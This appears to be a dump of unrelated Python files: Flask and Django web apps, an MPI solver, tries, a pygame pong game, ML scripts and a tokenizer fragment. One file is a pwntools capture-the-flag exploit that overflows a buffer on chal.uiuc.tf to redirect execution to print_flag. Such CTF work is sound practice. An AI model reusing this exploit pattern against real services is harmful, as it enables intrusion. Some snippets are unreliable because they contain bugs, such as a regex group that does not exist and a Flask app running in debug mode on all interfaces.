            query.delete()
            result = {
              'success': True,
              'deleted_id': id
            }
        except:
            db.session.rollback()
            print(sys.exc_info())
            if query is None:
                abort(404)
            else:
                abort(422)

        finally:
            db.session.close()

        return jsonify(result)

    @app.route('/podcasts/<int:podcast_id>', methods=['DELETE'])
    @requires_auth('delete:data')
    def delete_podcast(payload, podcast_id):

        return delete_by_id(Podcast, podcast_id)

    @app.route('/speakers/<int:speaker_id>', methods=['DELETE'])
    @requires_auth('delete:data')
    def delete_speaker(payload, speaker_id):

        return delete_by_id(Speaker, speaker_id)

    @app.route('/episodes/<int:episode_id>', methods=['DELETE'])
    @requires_auth('delete:data')
    def delete_episode(payload, episode_id):

        return delete_by_id(Episode, episode_id)

    '''
    PATCH Endpoints
    '''
    @app.route('/podcasts/<int:podcast_id>', methods=['PATCH'])
    @requires_auth('patch:data')
    def update_podcast(payload, podcast_id):
        body = request.get_json()
        new_author = body.get('author', None)
        new_name = body.get('name', None)
        new_image = body.get('image', None)
        new_podcast_link = body.get('podcast_link', None)

        try:
            podcast = Podcast.query.get(podcast_id)
            podcast.author = new_author
            podcast.name = new_name
            podcast.image = new_image
            podcast.podcast_link = new_podcast_link

            result = {
              'success': True,
              'podcast': podcast.format()
            }
        except:
            db.session.rollback()
            print(sys.exc_info())
            if podcast is None:
                abort(404)
            else:
                abort(422)

        finally:
            db.session.close()

        return jsonify(result)

    @app.route('/speakers/<int:speaker_id>', methods=['PATCH'])
    @requires_auth('patch:data')
    def update_speaker(payload, speaker_id):
        body = request.get_json()
        new_name = body.get('name', None)
        new_image = body.get('image_link', None)
        new_twitter = body.get('twitter_link', None)
        new_website = body.get('website_link', None)

        try:
            speaker = Speaker.query.get(speaker_id)
            speaker.name = new_name
            speaker.image_link = new_image
            speaker.twitter_link = new_twitter
            speaker.website_link = new_website

            result = {
              'success': True,
              'speaker': speaker.format()
            }
        except:
            db.session.rollback()
            print(sys.exc_info())
            if speaker is None:
                abort(404)
            else:
                abort(422)

        finally:
            db.session.close()

        return jsonify(result)

    @app.route('/episodes/<int:episode_id>', methods=['PATCH'])
    @requires_auth('patch:data')
    def update_episode(payload, episode_id):
        body = request.get_json()
        new_title = body.get('title', None)
        new_topics = body.get('topics', None)
        new_podcast_link = body.get('podcast_link', None)
        new_speaker_id = body.get('speaker_id', None)
        new_podcast_id = body.get('podcast_id', None)

        try:
            episode = Episode.query.get(episode_id)
            episode.title = new_title
            episode.topics = new_topics
            episode.podcast_link = new_podcast_link
            episode.speaker_id = new_speaker_id
            episode.podcast_id = new_podcast_id
            result = {
              'success': True,
              'episode': episode.format()
            }
        except:
            db.session.rollback()
            print(sys.exc_info())
            if episode is None:
                abort(404)
            else:
                abort(422)

        finally:
            db.session.close()

        return jsonify(result)

    '''
    Error handlers for expected errors
    '''
    @app.errorhandler(400)
    def bad_request(error):
        return jsonify({
            "success": False,
            "error": 400,
            "message": "bad request"
        }), 400

    @app.errorhandler(401)
    def unauthorized(error):
        return jsonify({
            "success": False,
            "error": 401,
            "message": "unauthorized"
        }), 401

    @app.errorhandler(403)
    def forbidden(error):
        return jsonify({
            "success": False,
            "error": 403,
            "message": "forbidden"
        }), 403

    @app.errorhandler(404)
    def not_found(error):
        return jsonify({
            "success": False,
            "error": 404,
            "message": "resource not found"
        }), 404

    @app.errorhandler(422)
    def unprocessable(error):
        return jsonify({
            "success": False,
            "error": 422,
            "message": "unprocessable"
        }), 422

    @app.errorhandler(500)
    def server_error(error):
        return jsonify({
            "success": False,
            "error": 500,
            "message": "internal server error"
        }), 500

    @app.errorhandler(AuthError)
    def server_error(error):
        return jsonify({
            "success": False,
            "error": error.status_code,
            "message": error.description
        }), error.status_code

    return app

app = create_app()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080, debug=True)
    # app.run()


'''O mesmo professor do desafio anterior quer sortear a apresentação de trabalhos dos alunos. Faça um programa que leia o nome dos quatro alunos e mostre a ordem sorteada.'''

from random import shuffle

# Zona de teste
# aluno_um = "thales"
# aluno_dois = "vinicius"
# aluno_tres = "sergio"
# aluno_quatro = "naura"

# Declarando Variáveis
aluno_um = input()
aluno_dois = input()
aluno_tres = input()
aluno_quatro = input()

# Sorteando variáveis
lista_nomes = [aluno_um, aluno_dois, aluno_tres, aluno_quatro]
shuffle(lista_nomes)

# Imprimindo o resultado de acordo com a saída desejada.
# print("A ordem de apresentação é:  {}".format(shuffle(sorteio)))
print("A ordem de apresentação é:  {}".format(lista_nomes))

Exercícios Curso em vídeo de Python/Sortei de apresentação.py


from django.db import models

class LearningLectureStat(models.Model):
    id = models.AutoField(primary_key=True)
    user = models.ForeignKey('users.User', related_name='lecture_stat_user', on_delete=models.CASCADE)
    lecture = models.ForeignKey('curricula.LearningLecture', related_name='lecture_stat', on_delete=models.CASCADE)
    lecture_status = models.PositiveSmallIntegerField(default=0)
    practice_status = models.PositiveSmallIntegerField(default=0)
    created = models.DateField(auto_now_add=True)

    class Meta:
        db_table = 'curricula_learning_lecture_stat'
        default_permissions = ()
        permissions = (
            ("view_learninglecturestat", "View learning lecture stat"),
            ("list_learninglecturestat", "List learning lecture stat")
        )


import logging

from flask import Flask, jsonify
from flask_cors import cross_origin
from flask_jsontools import DynamicJSONEncoder, jsonapi
from flask_swagger import swagger

# setup the configuration for the application
from habt.config import Config
from habt.database import session
from habt.manager import PackageManager

# Configure the logger
config = Config()
config.setup_logger()
log = logging.getLogger(__name__)

app = Flask(__name__)
app.debug = config.debug
# uses the <obj>.__json__() method to encode json
app.json_encoder = DynamicJSONEncoder

@app.teardown_appcontext
def shutdown_session(exception=None):
    """
        Destroy the Database session at the end of a request
    """
    session.remove()

@app.route("/spec")
@cross_origin()
def spec():
    """
        returns:
         Api specification
    """
    swag = swagger(app)
    # api information
    swag["info"]["version"] = "0.0.0"
    swag["info"]["title"] = "habt API"
    # api prefix
    swag["basePath"] = "/api"
    return jsonify(swag)

@app.route("/search/<string:query>")
@cross_origin()
@jsonapi
def search(query):
    """
         Returns the details of a debian package
        ---
        tags:
          - search

        parameters:
          - name: query
            description: Search query
            in: path
            type: string

        responses:
          200:
            description: Search was successful
        """
    return PackageManager().search_packages(query)

@app.route("/package/<string:name>")
@cross_origin()
@jsonapi
def package(name):
    """
       Returns the details of a debian package
       ---
       tags:
         - package
       parameters:
         - name: name
           description: Debian package name
           in: path
           type: string
       responses:
           200:
               description: Datail successfully loaded
    """
    return PackageManager().get_package(name)

@app.route("/package/<string:name>/version/<string:version>")
@cross_origin()
@jsonapi
def version(name, version):
    """
       Returns the details of a debian package version
       ---
       tags:
         - version
       parameters:
        - name: name
          description: Debian package name
          in: path
          type: string
        - name: version
          description: Package version
          in: path
          type: string
       responses:
           200:
               description: Datail successfully loaded
    """
    return PackageManager().get_package_version(name, version)

if __name__ == "__main__":
    app.run("0.0.0.0", port=8000)


from mpi4py import MPI
from helper import profiler, lab2args, lab2out, distribute_tasks_per_processes, Lab2Tags
import os, sys, math

def calc_equation(variable_index:int, equations:list, last_values:list) -> float:
    b = equations[variable_index][-1]
    all_except_target = sum(a * last_values[i] for i, a in enumerate(equations[variable_index][:-1]) if i != variable_index)
    delim = equations[variable_index][variable_index]
    return 1.0 * (b - all_except_target) / delim

def need_continue_calculation(old_variables:list, new_variables:list, threshold:float) -> bool:
    for a, b in zip(old_variables, new_variables):
        if math.fabs(a * a - b * b) > threshold * threshold:
            return True
    return False

def work() -> None:
    try:
        rank = None
        comm = MPI.COMM_WORLD # type: MPI.Comm
        rank, size = comm.Get_rank(), comm.Get_size()

        if size == 1:
            raise Exception("You should start me with more that one process")

        arguments = lab2args(load_data=True)
        current_variables = arguments.start_equation_results
        count_of_free_processes = size - 1
        equations, variables = arguments.coefficients.shape
        startup_info = distribute_tasks_per_processes(equations, count_of_free_processes)

        if rank == 0:
            print("Common startup info is %s" % (startup_info,))
            sys.stdout.flush()

        common_info = {'finish': 0}  # first - need finish flag
        mine_startup_info = startup_info[rank - 1] if rank != 0 else None
        iter_count = 0

        with profiler("Full proc task at %s" % MPI.Get_processor_name()):
            while common_info['finish'] != 1:
                # Next. Calculate

                if rank != 0:
                    results = []
                    if mine_startup_info is None:
                        pass
                    else:
                        results = [0] * (mine_startup_info[1] - mine_startup_info[0] + 1)
                        for i, idx in enumerate(range(mine_startup_info[0], mine_startup_info[1] + 1)):
                            results[i] = calc_equation(idx, arguments.coefficients, current_variables)
                    comm.send(results, dest=0, tag=Lab2Tags.TEMP_RESULTS)

                if rank == 0:
                    iter_count += 1
                    temp_results_per_process = list(comm.recv(source=proc+1, tag=Lab2Tags.TEMP_RESULTS) for proc in range(count_of_free_processes))
                    new_variables = list(item for sublist in temp_results_per_process for item in sublist)

                    if not need_continue_calculation(current_variables, new_variables, arguments.threshold):
                        common_info['finish'] = 1
                        print("Calculation finished. Iteration count is: %d" % iter_count)

                    current_variables = new_variables

                current_variables = comm.bcast(current_variables, 0)
                common_info = comm.bcast(common_info, 0)

        if rank == 0:
            lab2out(current_variables, arguments.out_file)

    except Exception as exc:
        if not isinstance(rank, int):
            rank = 99
        print("[R#%02d] Exception at %s" % (rank, exc))
        exc_type, exc_obj, exc_tb = sys.exc_info()
        fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
        print(exc_type, fname, exc_tb.tb_lineno)

if __name__ == '__main__':
    work()


from __future__ import absolute_import, division, print_function

import json
import logging
import math
import collections
import linecache
import numpy as np
from io import open
from tqdm import tqdm
import torch

# Required by XLNet evaluation method to compute optimal threshold (see write_predictions_extended() method)
# from utils_squad_evaluate import find_all_best_thresh_v2, make_qid_to_has_ans, get_raw_scores

logger = logging.getLogger(__name__)

from typing import Dict, List

try:
    import marisa_trie
except ModuleNotFoundError:
    pass

class Trie(object):
    def __init__(self, sequences: List[List[int]] = []):
        self.trie_dict = {}
        self.len = 0
        if sequences:
            for sequence in sequences:
                Trie._add_to_trie(sequence, self.trie_dict)
                self.len += 1

        self.append_trie = None
        self.bos_token_id = None

    def append(self, trie, bos_token_id):
        self.append_trie = trie
        self.bos_token_id = bos_token_id

    def add(self, sequence: List[int]):
        Trie._add_to_trie(sequence, self.trie_dict)
        self.len += 1

    def get(self, prefix_sequence: List[int]):

        return Trie._get_from_trie(
            prefix_sequence, self.trie_dict, self.append_trie, self.bos_token_id
        )

    @staticmethod
    def load_from_dict(trie_dict):
        trie = Trie()
        trie.trie_dict = trie_dict
        trie.len = sum(1 for _ in trie)
        return trie

    @staticmethod
    def _add_to_trie(sequence: List[int], trie_dict: Dict):
        if sequence:
            if sequence[0] not in trie_dict:
                trie_dict[sequence[0]] = {}
            Trie._add_to_trie(sequence[1:], trie_dict[sequence[0]])

    @staticmethod
    def _get_from_trie(
        prefix_sequence: List[int],
        trie_dict: Dict,
        append_trie=None,
        bos_token_id: int = None,
    ):
        if len(prefix_sequence) == 0:
            output = list(trie_dict.keys())
            if append_trie and bos_token_id in output:
                output.remove(bos_token_id)
                output += list(append_trie.trie_dict.keys())
            return output
        elif prefix_sequence[0] in trie_dict:
            return Trie._get_from_trie(
                prefix_sequence[1:],
                trie_dict[prefix_sequence[0]],
                append_trie,
                bos_token_id,
            )
        else:
            if append_trie:
                return append_trie.get(prefix_sequence)
            else:
                return []

    def __iter__(self):
        def _traverse(prefix_sequence, trie_dict):
            if trie_dict:
                for next_token in trie_dict:
                    yield from _traverse(
                        prefix_sequence + [next_token], trie_dict[next_token]
                    )
            else:
                yield prefix_sequence

        return _traverse([], self.trie_dict)

    def __len__(self):
        return self.len

    def __getitem__(self, value):
        return self.get(value)

class MarisaTrie(object):
    def __init__(
        self,
        sequences: List[List[int]] = [],
        cache_fist_branch=True,
        max_token_id=256001,
    ):

        self.int2char = [chr(i) for i in range(min(max_token_id, 55000))] + (
            [chr(i) for i in range(65000, max_token_id + 10000)]
            if max_token_id >= 55000
            else []
        )
        self.char2int = {self.int2char[i]: i for i in range(max_token_id)}

        self.cache_fist_branch = cache_fist_branch
        if self.cache_fist_branch:
            self.zero_iter = list({sequence[0] for sequence in sequences})
            assert len(self.zero_iter) == 1
            self.first_iter = list({sequence[1] for sequence in sequences})

        self.trie = marisa_trie.Trie(
            "".join([self.int2char[i] for i in sequence]) for sequence in sequences
        )

    def get(self, prefix_sequence: List[int]):
        if self.cache_fist_branch and len(prefix_sequence) == 0:
            return self.zero_iter
        elif (
            self.cache_fist_branch
            and len(prefix_sequence) == 1
            and self.zero_iter == prefix_sequence
        ):
            return self.first_iter
        else:
            key = "".join([self.int2char[i] for i in prefix_sequence])
            return list(
                {
                    self.char2int[e[len(key)]]
                    for e in self.trie.keys(key)
                    if len(e) > len(key)
                }
            )

    def __iter__(self):
        for sequence in self.trie.iterkeys():
            yield [self.char2int[e] for e in sequence]

    def __len__(self):
        return len(self.trie)

    def __getitem__(self, value):
        return self.get(value)

class DummyTrieMention(object):
    def __init__(self, return_values):
        self._return_values = return_values

    def get(self, indices=None):
        return self._return_values

class DummyTrieEntity(object):
    def __init__(self, return_values, codes):
        self._return_values = list(
            set(return_values).difference(
                set(
                    codes[e]
                    for e in (
                        "start_mention_token",
                        "end_mention_token",
                        "start_entity_token",
                    )
                )
            )
        )
        self._codes = codes

    def get(self, indices, depth=0):
        if len(indices) == 0 and depth == 0:
            return self._codes["end_mention_token"]
        elif len(indices) == 0 and depth == 1:
            return self._codes["start_entity_token"]
        elif len(indices) == 0:
            return self._return_values
        elif len(indices) == 1 and indices[0] == self._codes["end_entity_token"]:
            return self._codes["EOS"]
        else:
            return self.get(indices[1:], depth=depth + 1)


from pygame import *

speed = 5

win_height = 800
win_width = 1000

window = display.set_mode((win_width, win_height))
display.set_caption("ping-pong")

class GameSprite(sprite.Sprite):
    def __init__(self, player_image, player_x, player_y, player_width, player_heigh, player_speed):
        super().__init__()
        self.image = transform.scale(image.load(player_image),(player_width, player_heigh))
        self.speed = player_speed
        self.rect = self.image.get_rect()
        self.rect.x = player_x
        self.rect.y = player_y
        self.direction = 'left'
    def reset(self):
        window.blit(self.image,(self.rect.x, self.rect.y))

font.init()

lost = 0

font1 = font.SysFont('Arial', 69)

win = font1.render('Player 1wssssss wins the game',True, (0,180,0))

lose = font1.render('Player 2 wins the game', True, (225,0,0))

class Player(GameSprite):
    def update_platform1(self):
        keys = key.get_pressed()
        if keys[K_w] and self.rect.y > 5:
            self.rect.y -= self.speed
        if keys[K_s] and self.rect.y < win_height - 100:
            self.rect.y += self.speed
    def update_platform2(self):
        keys = key.get_pressed()
        if keys[K_UP] and self.rect.y > 5:
            self.rect.y -= self.speed
        if keys[K_DOWN] and self.rect.y < win_height - 100:
            self.rect.y += self.speed

ball = GameSprite('ball.png', 300, 300, 50, 50, 3) #создаем шар
platform1 = Player('platform.png', 940, 100, 80, 100, speed)
platform2 = Player('platform.png', -20, 250, 80, 100  ,speed)

speed_x = 3
speed_y = 3

game = True
finish = False
clock = time.Clock()

FPS = 60

while game:
    for e in event.get():
        if e.type == QUIT:
            game = False

    if ball.rect.y > win_height-50 or ball.rect.y < 0:
        speed_y *= -1

    if sprite.collide_rect(platform1, ball) or sprite.collide_rect(platform2, ball):
        speed_x *= -1

    if ball.rect.x < 0:
        finish = True
        window.blit(lose, (300, 500))

    if ball.rect.x > win_width-50:
        finish = True
        window.blit(win, (300,500))

    if not finish:
        window.fill((0,110,110))
        platform1.update_platform1()
        platform2.update_platform2()
        ball.rect.x += speed_x
        ball.rect.y += speed_y

        platform1.reset()
        platform2.reset()
        ball.reset()

    clock.tick(FPS)
    display.update()


from django.shortcuts import render

from django.http import HttpResponse
from .models import *

def index(request):

	data = {}
	# get posts in descending order by date
	data["recents"] = Article.objects.all().order_by('-posted')[:10]
	data["most_read"] = MostRead.objects.get()

	# now get the list of all sections
	sections = Section.objects.all()

	#for asection in sections:
		#section_name = str(asection.name)
		#article_in_section = Article.objects.where(Section = asection).latest('posted')
		#data['sections'][section_name] = article_in_section

	template_name = 'index.html'
	return render(request, template_name, data)

def section(request, section):

	data = {}
	# print Article.objects.filter(Section__slug__iexact=section).order_by('-posted')[:10]
	# get posts in descending order by date
	data["recents"] = Article.objects.filter(Section__slug__iexact=section).order_by('-posted')[:10]
	data["most_read"] = MostRead.objects.get()

	template_name = 'section.html'
	return render(request, template_name, data)

def article(request, slug):

	data = {}

	data["article"] = Article.objects.get(slug__iexact=slug)
	data["most_read"] = MostRead.objects.get()

	template_name = 'article.html'
	return render(request, template_name, data)

def advertising(request):
  template_name = 'extra/advertising.html'
  return render(request,template_name)

def subscribe(request):
  template_name = 'extra/subscribe.html'
  return render(request,template_name)

def about(request):

	template_name = 'extra/about.html'
	return render(request,template_name)

def tag(request, tag):

	data = {}
	data["recents"] = Article.objects.filter(tags__slug=tag).order_by('-posted')[:10]
	data["tag"] = Tag.objects.get(slug__iexact=tag)

	template_name = 'tag.html'
	return render(request, template_name, data)


#!/bin/python3

import math
import os
import random
import re
import sys

# Complete the minimumSwaps function below.
def minimumSwaps(arr):
    swap = 0
    arr = [x-1 for x in arr]

    for index,element in enumerate(arr):
        if element > index:
            newIndex = arr.index(index)
            arr[index], arr[newIndex] = arr[newIndex], arr[index]
            swap += 1

    print(arr)
    print(swap)

if __name__ == '__main__':

    n = int(input())

    arr = list(map(int, input().rstrip().split()))

    res = minimumSwaps(arr)


'''Module for time operations.'''
import re

def get_time(content):
    '''
    Extract time frome time command ouput.

    Arguments:
        content {str} -- Time command output

    Returns:
        float -- Time in seconds
    '''
    time = 0
    hr_min_sec = re.search(r'real[\s]*(.*?)h(.*?)m(.*?)s', content)

    if hr_min_sec:
        hours = int(hr_min_sec.group(1))
        minutes = int(hr_min_sec.group(2))
        seconds = int(hr_min_sec.group(3))
        milliseconds = int(hr_min_sec.group(4))

        time = (hours * 3600) + (minutes * 60) + seconds + (milliseconds / 1000)

    else:
        min_sec = re.search(r'real[\s]*(.*?)m(.*?)\.(.*?)s', content)
        if min_sec:
            minutes = int(min_sec.group(1))
            seconds = int(min_sec.group(2))
            milliseconds = int(min_sec.group(3))

            time = (minutes * 60) + seconds + (milliseconds / 1000)

    return time


import pytest

from byte109.dict_lookups import get_workout_motd, CHILL_OUT, INVALID_DAY

@pytest.mark.parametrize("day, expected", [
    ('Monday', 'Go train Chest+biceps'),
    ('monday', 'Go train Chest+biceps'),
    ('Tuesday', 'Go train Back+triceps'),
    ('TuEsdAy', 'Go train Back+triceps'),
    ('Wednesday', 'Go train Core'),
    ('wednesdaY', 'Go train Core'),
    ('Thursday', 'Go train Legs'),
    ('Friday', 'Go train Shoulders'),
    ('Saturday', CHILL_OUT),
    ('Sunday', CHILL_OUT),
    ('sundAy', CHILL_OUT),
    ('nonsense', INVALID_DAY),
    ('monday2', INVALID_DAY),
])
def test_get_workout_valid_case_insensitive_dict_lookups(day, expected):
    assert get_workout_motd(day) == expected


from pwn import *
import re

# accounting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
# for GNU/Linux 3.2.0, BuildID[sha1]=72ded94a52807f73d24ae7c72db8e29099a7bfc3, not stripped

# context.log_level = logging.DEBUG
context.endian = 'little'
context.word_size = 32
context.sign = False

conn = remote('chal.uiuc.tf', 2001)

line = conn.recvline().decode('ascii')
m = re.search(r'.* \{(0x[0-9a-fA-F]+)\}.*', line)
assert(m)
print_flag__addr = m.group(1)
print_flag__addr = int(print_flag__addr, 0)
log.info("print_flag function assumed at address: " + hex(print_flag__addr))

for i in range(6):
    conn.recvline()
conn.recvpred(lambda x: x.decode('ascii') == "Item: ")
conn.send(b'A'*0x10 + pack(print_flag__addr))

conn.recvpred(lambda x: x.decode('ascii').endswith("Shrub Trimming Cost: "))
conn.send(b'23')

conn.recvpred(lambda x: x.decode('ascii').endswith("Raymond Hush $$ Cost: "))
conn.send(b'28')

conn.recvpred(lambda x: x.decode('ascii').endswith("Town Hall Food Cost: "))
conn.send(b'29')

conn.recvpred(lambda x: x.decode('ascii').endswith("New Wall Art Cost: "))
conn.send(b'5')

d = conn.recvall()
print(d.decode('ascii'))

conn.close()


import os
import re
import cv2
import json
import pickle
import numpy as np

from sklearn.svm import LinearSVC
from sklearn.calibration import CalibratedClassifierCV

from atlasbuggy.camera.pipeline import Pipeline

from .localbinarypatterns import LocalBinaryPatterns

class TexturePipeline(Pipeline):
    def __init__(self, enabled=True, log_level=None):
        super(TexturePipeline, self).__init__(enabled, log_level)

        self.file_extension = ".jpg"
        self.database_file_path = "naboris/texture/training.json"
        self.model_pickle_path = "naboris/texture/models/texture.pkl"
        self.training_image_path = "naboris/texture/training_images"

        with open(self.database_file_path) as training_file:
            self.training_data = json.load(training_file)

        self.results_service_tag = "results"
        self.add_service(self.results_service_tag)

        self.texture_service_tag = "texture"
        self.add_service(self.texture_service_tag, self.post_texture_images)

        self.desc = LocalBinaryPatterns(24, 8)
        self.model = LinearSVC(C=500.0, random_state=20)
        self.classifier = CalibratedClassifierCV(self.model)
        self.load_model()

        self.cropped = None
        self.cropped_label = ""
        self.cropped_num = 0

        self.prediction_labels = sorted(list(self.training_data.keys()))

        self.offset = 100

    def load_model(self):
        with open(self.model_pickle_path, 'rb') as model:
            self.classifier = pickle.load(model)

    def train(self):
        labels = []
        data = []

        for label, num_images in self.training_data.items():
            print("loading '%s'. %s images" % (label, num_images))
            dir_path = os.path.join(self.training_image_path, label)
            file_names = os.listdir(dir_path)
            if len(file_names) != num_images:
                self.logger.warning(
                    "Number of images (%s) doesn't match number in json (%s)" % (len(file_names), num_images)
                )

            for file_name in file_names:
                if file_name.endswith(self.file_extension):
                    path = os.path.join(dir_path, file_name)

                    if not os.path.isfile(path):
                        raise FileNotFoundError(path)
                    labels.append(label)
                    image = cv2.imread(path)
                    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
                    gray = cv2.equalizeHist(gray)
                    hist, _ = self.desc.describe(gray)
                    data.append(hist)
            print("done")

        print("fitting...")
        self.classifier.fit(data, labels)
        print("done")
        with open("naboris/texture/models/texture.pkl", 'wb') as model:
            pickle.dump(self.classifier, model)

    def write_training_image(self, category, image):
        self.training_data[category] += 1
        count = self.training_data[category]

        image_dir = os.path.join(self.training_image_path, category)
        if not os.path.isdir(image_dir):
            os.mkdir(image_dir)

        path = os.path.join(image_dir, "%s-%s%s" % (category, count, self.file_extension))

        cv2.imwrite(path, image)
        self.logger.info("Wrote: %s" % path)

    def post_texture_images(self, data):
        frame, texture = data
        return frame.copy(), texture.copy()

    def get_crop_points(self, frame):
        height, width = frame.shape[0:2]
        y1 = height - self.offset * 2
        y2 = height

        x1 = width // 2 - self.offset
        x2 = width // 2 + self.offset

        return y1, y2, x1, x2

    def crop_frame(self, frame):
        y1, y2, x1, x2 = self.get_crop_points(frame)
        return frame[y1: y2, x1: x2]

    def pipeline(self, frame):
        self.cropped = self.crop_frame(frame)
        gray = cv2.cvtColor(self.cropped, cv2.COLOR_BGR2GRAY)
        gray = cv2.equalizeHist(gray)
        hist, lbp = self.desc.describe(gray)

        # lbp = np.uint8(lbp)
        # lbp = cv2.equalizeHist(lbp)
        prediction = self.classifier.predict_proba(hist.reshape(1, -1))
        prediction = prediction.squeeze()

        max_index = np.argmax(prediction)
        prediction_label = self.prediction_labels[max_index]

        y1, y2, x1, x2 = self.get_crop_points(frame)
        # frame.setflags(write=1)
        # frame[y1: y2, x1: x2] = cv2.cvtColor(lbp, cv2.COLOR_GRAY2BGR)

        cv2.rectangle(frame, (x1 - 1, y1 - 1), (x2 + 1, y2 + 1), (255, 0, 0))

        self.post((prediction_label, prediction[max_index]), self.results_service_tag)

        text_y = 30
        num_line_elements = 3
        for index in range(0, len(prediction), num_line_elements):
            line_predictions = prediction[index: index + num_line_elements]
            line_map = map(lambda value: "%0.3f" % (100 * value), line_predictions)
            predictions_string = ", ".join(line_map)

            if index < num_line_elements:
                line = "%s %s" % (prediction_label, predictions_string)
            else:
                line = predictions_string

            cv2.putText(frame, line, (10, text_y), cv2.FONT_HERSHEY_SIMPLEX,
                        0.75, (0, 0, 255), 2)
            text_y += 25

        self.post((frame, self.cropped), self.texture_service_tag)

        return frame

    def stop(self):
        with open(self.database_file_path, 'w+') as training_file:
            json.dump(self.training_data, training_file)


#!/usr/bin/env python
import sys, os
import itertools
import numpy as np
import matplotlib.pyplot as plt

from keras.utils import to_categorical
from keras.models import load_model
from sklearn.metrics import confusion_matrix

# Parameter
height = width = 48
num_classes = 7
model_name = sys.argv[2]
class_names = ['Angry', 'Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Neutral']
option = sys.argv[3]  # draw: draw confusion mastrix
                      # pick: pick a image fitting the type II error

# Read the train data
print('Read start')
try:
  X = np.load('X.npy')
  Y = np.load('Y.npy')
except:
  with open(sys.argv[1], "r+") as f:
    line = f.read().strip().replace(',', ' ').split('\n')[1:]
    raw_data = ' '.join(line)
    length = width*height+1 #1 is for label
    data = np.array(raw_data.split()).astype('float').reshape(-1, length)
    X = data[:, 1:]
    Y = data[:, 0]
    # Change data into CNN format
    X = X.reshape(X.shape[0], height, width, 1)
    Y = Y.reshape(Y.shape[0], 1)
    print('Saving X.npy & Y.npy')
    np.save('X.npy', X) # (-1, height, width, 1)
    np.save('Y.npy', Y) # (-1, 1)

X /= 255
print('Read finished!')

# Split the data
valid_num = 3000
X_train, Y_train = X[:-valid_num], Y[:-valid_num].astype('int')
X_valid, Y_valid = X[-valid_num:], Y[-valid_num:].astype('int')
# print(X_train.shape)
# print(X_valid.shape)
# print(Y_train.shape)
# print(Y_valid.shape)

# Load model
model = load_model(model_name)
print('Predicting')
pred = model.predict(X_valid)
# print(pred.shape)
pred_label = np.argmax(pred, axis=1)
# print(pred_label.shape)
Y_valid = Y_valid.reshape(-1, )
# print(Y_valid.shape)
print('Predicting done!')

def plot_confusion_matrix(cm, classes,
                          normalize=False,
                          title='Confusion matrix',
                          cmap=plt.cm.Blues):
    """
    This function prints and plots the confusion matrix.
    Normalization can be applied by setting `normalize=True`.
    """
    plt.imshow(cm, interpolation='nearest', cmap=cmap)
    plt.title(title)
    plt.colorbar()
    tick_marks = np.arange(len(classes))
    plt.xticks(tick_marks, classes, rotation=45)
    plt.yticks(tick_marks, classes)

    if normalize:
        cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]
        print("Normalized confusion matrix")
    else:
        print('Confusion matrix, without normalization')

    print(cm)

    thresh = cm.max() / 2.
    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):
        plt.text(j, i, '{:.3f}'.format(cm[i, j]),
                 horizontalalignment="center",
                 color="brown" if cm[i, j] > thresh else "black")

    plt.tight_layout()
    plt.ylabel('True label')
    plt.xlabel('Predicted label')

# Compute confusion matrix
if option == 'draw':
  cnf_matrix = confusion_matrix(Y_valid, pred_label)
  np.set_printoptions(precision=3)

  # Plot non-normalized confusion matrix
  # plt.figure()
  # plot_confusion_matrix(cnf_matrix, classes=class_names,
  #                       title='Confusion matrix, without normalization')

  # Plot normalized confusion matrix
  plt.figure()
  plot_confusion_matrix(cnf_matrix, classes=class_names, normalize=True,
                        title='Normalized confusion matrix')

  plt.show()

# Pick image
elif option == 'pick':
  base_dir = './'
  img_dir = os.path.join(base_dir, 'cm_image')
  if not os.path.exists(img_dir):
    os.makedirs(img_dir)

  true_label = np.argwhere(Y_valid == 3).squeeze()
  # print(true_label)
  picked_label = np.argwhere(pred_label[true_label] == 3).squeeze()
  # print(picked_label)

  idx = true_label[picked_label[3]]
  print('Picking image number {}'.format(idx))
  see = X_valid[idx].reshape(height, width)
  # print(see.shape)
  ans = ['{:.3f}'.format(i) for i in list(pred[idx])]
  print('True label: {:d}; Predicted label: {}'.format(Y_valid[idx], pred_label[idx]))
  print('Its percentage: {}'.format(' , '.join(ans)))

  plt.figure()
  plt.imshow(see,cmap='gray')
  plt.colorbar()
  plt.tight_layout()
  fig = plt.gcf()
  plt.draw()
  fig.savefig(os.path.join(img_dir, '{}.png'.format(idx)), dpi=100)


import re

from nltk import sent_tokenize

class MacIntyreContractions:
    """
    List of contractions adapted from Robert MacIntyre's tokenizer.
    """

    CONTRACTIONS2 = [
        r"(?i)\b(can)(?#X)(not)\b",
        r"(?i)\b(d)(?#X)('ye)\b",
        r"(?i)\b(gim)(?#X)(me)\b",
        r"(?i)\b(gon)(?#X)(na)\b",
        r"(?i)\b(got)(?#X)(ta)\b",
        r"(?i)\b(lem)(?#X)(me)\b",
        r"(?i)\b(mor)(?#X)('n)\b",
        r"(?i)\b(wan)(?#X)(na)\s",
    ]
    CONTRACTIONS3 = [r"(?i) ('t)(?#X)(is)\b", r"(?i) ('t)(?#X)(was)\b"]
    CONTRACTIONS4 = [r"(?i)\b(whad)(dd)(ya)\b", r"(?i)\b(wha)(t)(cha)\b"]

class TreebankWordTokenizer:
    """
    The Treebank tokenizer uses regular expressions to tokenize text as in
    Penn Treebank. This is the method. It assumes that thetext has already been
    segmented into sentences.
    This tokenizer performs the following steps:
    - split standard contractions, e.g. ``don't`` -> ``do n't`` and ``they'll`` -> ``they 'll``
    - treat most punctuation characters as separate tokens
    - split off commas and single quotes, when followed by whitespace
    - separate periods that appear at the end of line
    """

    # starting quotes
    STARTING_QUOTES = [
        (re.compile(u'([«“‘„]|[`]+)', re.U), r' \1 '),
        (re.compile(r'^\"'), r'``'),
        (re.compile(r'(``)'), r' \1 '),
        (re.compile(r"([ \(\[{<])(\"|\'{2})"), r'\1 `` '),
    ]

    # punctuation
    PUNCTUATION = [
        (re.compile(r'([^\.])(\.)([\]\)}>"\'' u'»”’ ' r']*)\s*$', re.U), r'\1 \2 \3 '),
        (re.compile(r'([:,])([^\d])'), r' \1 \2'),
        (re.compile(r'([:,])$'), r' \1 '),
        (re.compile(r'\.\.\.'), r' ... '),
        (re.compile(r'[;@#$%&]'), r' \g<0> '),
        (
